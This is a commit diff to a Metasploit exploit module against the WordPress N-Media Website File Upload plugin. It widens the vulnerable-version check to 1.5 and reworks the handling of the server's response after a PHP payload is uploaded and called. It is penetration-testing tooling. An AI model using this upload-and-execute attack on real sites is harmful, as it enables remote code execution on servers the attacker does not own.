Land #5137 (again), WordPress N-Media Website File Upload

bug/bundler_fix
Christian Mehlmauer 2015-04-16 16:24:41 +02:00
commit 418d8586a5
No known key found for this signature in database
GPG Key ID: BCFF4FA966BC32C7
1 changed files with 13 additions and 9 deletions

View File

@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def check
check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.4')
check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.5')
end
def exploit
@ -58,16 +58,20 @@ class Metasploit3 < Msf::Exploit::Remote
'data' => post_data
})
if res && res.code == 200 && res.body =~ /filename/
begin
new_php_pagename = JSON.parse(res.body)["filename"]
rescue JSON::ParserError
new_php_pagename = ''
if res
if res.code == 200 && res.body =~ /filename/
begin
new_php_pagename = JSON.parse(res.body)["filename"]
rescue JSON::ParserError
new_php_pagename = ''
end
print_good("#{peer} - Our payload is at: #{new_php_pagename}. Calling payload...")
register_files_for_cleanup(new_php_pagename)
else
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
end
print_good("#{peer} - Our payload is at: #{new_php_pagename}. Calling payload...")
register_files_for_cleanup(new_php_pagename)
else
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
fail_with('ERROR')
end
print_status("#{peer} - Calling payload...")